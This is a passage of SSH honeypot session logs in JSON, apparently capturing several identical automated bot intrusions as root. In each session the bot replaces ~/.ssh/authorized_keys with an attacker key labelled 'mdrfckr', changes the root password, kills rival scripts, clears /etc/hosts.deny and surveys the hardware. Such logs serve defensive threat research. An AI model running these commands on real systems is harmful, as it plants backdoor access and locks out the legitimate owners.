{print $2;}'"},{"seq":32,"at":"2026-08-27T11:18:09.687302+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"cq@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"08395037-5832-4e3f-ac30-55c5752178df","name":"glacial-arctic-dunlin","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58916,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":454,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:15:26.463226+00:00","ended_at":"2026-08-27T11:15:27.965331+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:15:05.239578+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:15:05.692369+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:15:10.004335+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:15:10.898402+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:15:11.352475+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HOiPOoi3ysmn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:15:11.805576+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:15:12.259022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:15:12.579343+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:15:13.034283+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:15:14.088129+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:15:14.544547+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:15:15.857945+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:15:16.313370+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:15:16.905718+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:15:17.374826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:15:17.726733+00:00","kind":"output","latency_ms":null,"data":" 11:15:17 up 7 days, 8:05, 0 user, load average: 0.25, 0.24, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:15:18.180611+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:15:18.433297+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:15:18.884762+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:15:19.388176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:15:19.844224+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:15:20.717186+00:00","kind":"output","latency_ms":null,"data":"top - 11:15:20 up 7 days, 8:05, 0 user, load average: 0.25, 0.24, 0.26\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:15:21.173668+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:15:21.671916+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:15:22.124653+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:15:23.006505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:15:23.460701+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:15:24.173554+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:15:24.629427+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:15:26.010698+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:15:26.464221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:15:27.825758+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"didi123","method":"password","accepted":true,"tier":"other"}]} {"id":"ae0985ff-60a2-4fe7-9505-b9d26e2b9f6a","name":"orderly-lanky-panther","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":43652,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:14:14.600211+00:00","ended_at":"2026-08-27T11:14:15.820123+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:13:45.660078+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:13:46.428667+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:13:53.365701+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:13:53.960155+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:13:54.733288+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RnEUukSTIN1u\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:13:55.487392+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:13:56.242177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:13:56.868714+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:13:57.628580+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:13:59.025220+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:13:59.783619+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:14:00.921101+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:14:01.676023+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:14:02.499199+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:14:03.253854+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:14:04.055303+00:00","kind":"output","latency_ms":null,"data":" 11:14:04 up 7 days, 8:04, 0 user, load average: 0.28, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:14:04.809229+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:14:05.346398+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:14:06.100700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:14:06.771877+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:14:07.532300+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:14:08.248602+00:00","kind":"output","latency_ms":null,"data":"top - 11:14:08 up 7 days, 8:04, 0 user, load average: 0.28, 0.22, 0.25\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:14:09.051873+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:14:09.716167+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:14:10.475821+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:14:10.736892+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:14:11.491474+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:14:11.929643+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:14:12.686401+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:14:13.846246+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:14:14.601342+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:14:15.579339+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty121","method":"password","accepted":true,"tier":"other"}]} {"id":"4ce1b0fb-5f53-4d10-8e3e-dbd643796021","name":"spirited-dewy-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58878,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":460,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:12:44.677709+00:00","ended_at":"2026-08-27T11:12:45.956673+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:12:24.317195+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:12:24.774463+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:12:28.676108+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:12:29.265163+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:12:29.725057+00:00","kind":"input","latency_ms":null,"data":"echo \"root:e3xdJrgoShPk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:12:30.183098+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:12:30.642659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:12:31.438596+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:12:31.901891+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:12:33.199495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:12:33.664697+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:12:35.055201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:12:35.516512+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:12:36.120131+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:12:36.579057+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:12:36.851691+00:00","kind":"output","latency_ms":null,"data":" 11:12:36 up 7 days, 8:02, 0 user, load average: 0.09, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:12:37.312822+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:12:37.583076+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:12:38.043653+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:12:38.782271+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:12:39.241147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:12:39.787687+00:00","kind":"output","latency_ms":null,"data":"top - 11:12:39 up 7 days, 8:02, 0 user, load average: 0.09, 0.07, 0.08\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:12:40.247283+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:12:40.649067+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:12:41.111765+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:12:41.572603+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:12:42.032947+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:12:42.293215+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:12:42.752728+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:12:44.219175+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:12:44.683880+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:12:45.814211+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Ww","method":"password","accepted":true,"tier":"other"}]} {"id":"2b2de2d6-4bc6-4bb3-a551-2b3ef1f221f4","name":"serene-woven-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":59536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:11:27.267098+00:00","ended_at":"2026-08-27T11:11:28.802420+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-27T11:11:00.748534+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:11:01.522549+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:11:06.997168+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:11:07.561308+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:11:08.341902+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9PQVq4QgAYio\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:11:09.108511+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:11:09.875229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:11:10.552039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:11:11.325311+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:11:12.158033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:11:12.931940+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:11:13.984637+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:11:14.756482+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:11:15.415305+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:11:16.186504+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:11:16.581769+00:00","kind":"output","latency_ms":null,"data":" 11:11:16 up 7 days, 8:01, 0 user, load average: 0.22, 0.2, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:11:17.348137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:11:18.187514+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:11:18.957533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:11:19.523809+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:11:20.295321+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:11:20.832368+00:00","kind":"output","latency_ms":null,"data":"top - 11:11:20 up 7 days, 8:01, 0 user, load average: 0.22, 0.2, 0.25\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:11:21.603898+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:11:22.097302+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:11:22.871587+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:11:23.283234+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:11:24.054382+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:11:24.454329+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:11:25.224560+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:11:26.492301+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:11:27.268147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:11:28.556456+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asd@123..","method":"password","accepted":true,"tier":"other"}]} {"id":"952a6526-a6a7-456f-9045-e3ed0686f432","name":"sterling-blithe-marten","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":48948,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:08:37.479205+00:00","ended_at":"2026-08-27T11:08:38.769725+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2148,"events":[{"seq":1,"at":"2026-08-27T11:08:10.253793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:08:11.024383+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:08:16.649687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:08:17.145227+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:08:17.916831+00:00","kind":"input","latency_ms":null,"data":"echo \"root:m67dzMpQkFfR\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:08:18.687315+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:08:19.463206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:08:20.215429+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:08:20.986897+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 